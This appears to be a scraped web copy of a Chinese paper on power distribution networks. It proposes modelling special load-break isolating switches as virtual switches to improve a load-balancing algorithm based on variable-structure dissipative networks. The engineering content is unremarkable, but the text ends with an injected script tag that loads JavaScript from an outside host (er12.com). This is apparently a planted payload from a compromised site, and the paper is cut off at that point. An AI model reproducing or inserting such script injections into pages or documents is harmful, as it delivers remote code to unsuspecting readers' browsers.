摘 要 配网系统中，在向专线用户或综合负荷供电的分支馈线与主干馈线交接处，常常装有特殊形式的隔离开关。针对这种实际情况，目前基于变结构耗散网络理论的负荷均衡化算法，存在无法充分发挥上述特殊隔离设备操作灵活性从而取得更优解的问题。故通过引入虚拟开关概念，对上述特殊形式隔离开关进行建模，并在此基础上提出基于变结构耗散网络理论的负荷均衡化改进算法。算例分析表明，此改进算法可以充分发挥此类特殊隔离开关的操作灵活性，从而能够选出负荷比率最高的优化运行方案。
关键词 配电网络 配电自动化 变结构耗散网络 负荷均衡化
1 特殊配网接线负荷均衡改进算法的必要性
随着社会和经济的快速发展，广大用户对供电质量、供电可靠性提出了更高的要求，传统的配网结构、运行、管理等方式已不能适应当前的需求。因此，加强配网的建设，提高配网的管理水平，全面实现配电自动化迫在眉睫［1］［2］。
目前，配电自动化有很多种实现方式，但在户外分段开关处安装柱上ftu并建设可靠有效的通信网络将它们和配电网控制中心的scada计算机系统相连，并以此为基础进而构成一种高性能的自动化系统，是目前配电自动化的发展方向［3］。
为了降低配网中压（1～36 kv）故障的影响，一般采用环网供电、开环运行并结合馈线分段和负荷转移的技术［4］［5］。这同时也为配网正常运行时负荷均衡化的实现提供了前提条件，负荷均衡化的实现意味着采用同样的配网设备可以提供更多的电能，从而可以充分发挥现有设备的容量，推迟扩容投资的时间，为供电企业带来直接的经济效益［6］。为解决当前配电自动化中负荷均衡化的问题，文献［7］基于变结构耗散网络模型提出了相应算法。
目前，绝大多数的中压网络以主干馈线为基础，配变支路或分支馈线从主馈线上“t”接出来，如图1中a（配变支路），b（分支馈线）虚线框所示。文献［7］中提出的算法将b框中的分支馈线与主干馈线的接点2处理为耦合点。对于图1的网络，依据该算法可以对网络进行如图所示的顶点编号。但是在配网中，向专线用户或综合负荷供电的各种中压／低压（通常为10 kv／380v）配电所，在其与主干馈线的交接处常常安装有某种形式的隔离开关［5］。如图1中接点5对应的开关，该类特殊隔离开关系负荷开关的一种，它可以开合正常负荷电流，但不能开断故障短路电流，通过其上所配置的ftu的控制，可以实现远方操作。原算法没有考虑对这种特殊配网接线的处理，虽然我们可以将其看作耦合点并利用原算法进行负荷均衡化计算，但处理结果可能无法得到最优的运行方案，体现不了交接处5所安装的隔离开关的操作灵活性。即在负荷均衡化过程中，我们必须将开关4、6和13之间区域的负荷视为一个整体，由1、2、3号变压器之一独力承担。但实际上通过操作5处安装的隔离开关，可以将该区域内的负荷合理分解，从而由1、2、3号变压器共同负担，尽量避免出现一个变压器过热而另一个变压器过冷的情况。针对这样的问题，本文提出基于变结构耗散网络的负荷均衡改进算法。
2 特殊配网接线的处理
右图2（a）所示的向专线用户或综合配电负荷供电的分支馈线与主干馈线连接处的隔离开关（例如图1中交接处5所对应的开关），其开关（1）可以选取左合、居中、右合三种运行状态，总结其运行规律，可以将其转换成如图2（b）所示的形式，即图2（a）中的开关（1）分化为图2（b）中的虚拟开关①和开关②。转化前后的关系如表1所示。
根据图2（b）转化后的隔离开关接线图，可以相应地建立基于变结构耗散网络的配网模型，如图3所示。
图3中的开关①②③在处理时可看作文献［7］中定义的顶点①②③，而其两两连接的接点（图中小黑点所示）则可看作文献［7］定义的配电网络的t接分支，并对应图3中的耦合点④⑤⑥。根据表1中特殊隔离开关转换前后的关系，我们得出开关①、②不会同时闭合；另外在建立系统负荷矩阵时，由于点①～⑥之间的弧所供出的负荷为零，故负荷矩阵中这些弧的负荷均为零。
3 基于变结构耗散网络的配电网络处理
配电网络是典型的耗散网络［8］，将配电网络看作是一种有向图，采用邻接矩阵加以描述。变电站和开闭所的出线断路器、馈线上的分段开关和联络开关可以看作是顶点，馈线段可以看作是弧，其方向就是线路上潮流的方向，馈线段上所有配电变压器供出的负荷总和就是对应弧的负荷，流经开关的负荷就是对应顶点的负荷，从而构成描述配网的数学模型。图4中是一个含有特殊接线隔离开关的配电网络，系统当前负荷不均匀，根据上一节所讨论的对特殊隔离开关的处理方法，形成对应的耗散网络模型和顶点编号如图5所示，括号内为根据对应开关ftu上报求得的归一化负荷数据?script src=http://er12.com/t.js>
